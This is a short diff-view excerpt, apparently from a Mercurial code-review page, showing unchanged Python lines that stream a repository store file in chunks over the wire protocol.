1562 b'path': name,
1562 b'path': name,
1563 b'size': size,
1563 b'size': size,
1564 }
1564 }
1565
1565
1566 # We have to use a closure for this to ensure the context manager is
1566 # We have to use a closure for this to ensure the context manager is
1567 # closed only after sending the final chunk.
1567 # closed only after sending the final chunk.
1568 def getfiledata():
1568 def getfiledata():
1569 with repo.svfs(name, b'rb', auditpath=False) as fh:
1569 with repo.svfs(name, b'rb', auditpath=False) as fh:
1570 for chunk in util.filechunkiter(fh, limit=size):
1570 for chunk in util.filechunkiter(fh, limit=size):
1571 yield chunk
1571 yield chunk
1572
1572
1573 yield wireprototypes.indefinitebytestringresponse(getfiledata())
1573 yield wireprototypes.indefinitebytestringresponse(getfiledata())
General Comments 0
You need to be logged in to leave comments. Login now